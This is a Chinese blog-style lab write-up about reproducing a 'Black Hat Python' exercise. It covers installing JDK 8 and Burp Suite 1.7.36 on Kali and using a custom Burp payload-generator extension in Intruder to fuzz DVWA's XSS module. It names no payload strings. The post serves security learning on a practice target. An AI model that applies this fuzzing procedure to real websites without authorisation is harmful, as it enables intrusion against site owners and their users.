近期收到了電子工業出版社贈送的一本網絡安全書籍《python黑帽子》，書中一共24個實驗，今天復現第15個實驗（burpsuite載核生成器插件），我的測試環境是mbp電腦+kali虛擬機+dvwa在線靶場。當前只支持python2.7的環境，稍微調整一下軟鏈接，然後我把kali 上的jdk和burpsuite都卸載了，最後用的是jdk 1.8和burpsuite 1.7.36，成功復現了這個實驗，順便說一下，做了好多次實驗之後，唯手熟爾～
步驟一：環境准備
kali 安裝jdk1.8
apt-get update
apt-get install software-properties-common
apt-add-repository 'deb http://security.debian.org/debian-security stretch/updates main'
apt-get update
apt-get install openjdk-8-jdk
選擇jdk1.8
update-alternatives --config java
更新python2的軟連接
ln -s /usr/bin/python2 /usr/bin/python
安裝較低版本的burpsuite 1.7.36
wget https://portswigger.net/burp/releases/download?product=community&version=1.7.36&type=linux
sudo chmod +x burpsuite_community_linux_v1_7_36.sh
sudo ./burpsuite_community_linux_v1_7_36.sh
導入成功，這裡需要注意路徑中不要有中文
步驟二：實驗網站准備
選擇dvwa在線靶場[1]
步驟三：實戰演練
1、進入xss注入模塊，提交一個字符串
2、然後在burp的proxy模塊，將載核發送到intruder模塊
3、在intruder模塊中payload頁面下，選擇payload type為Extension-generated，然後在payload options裡面選擇BHP Payload Generator 就大功告成了～
4、點擊start attack，這裡實際上測試出了彈窗，但是顯示的並不友好
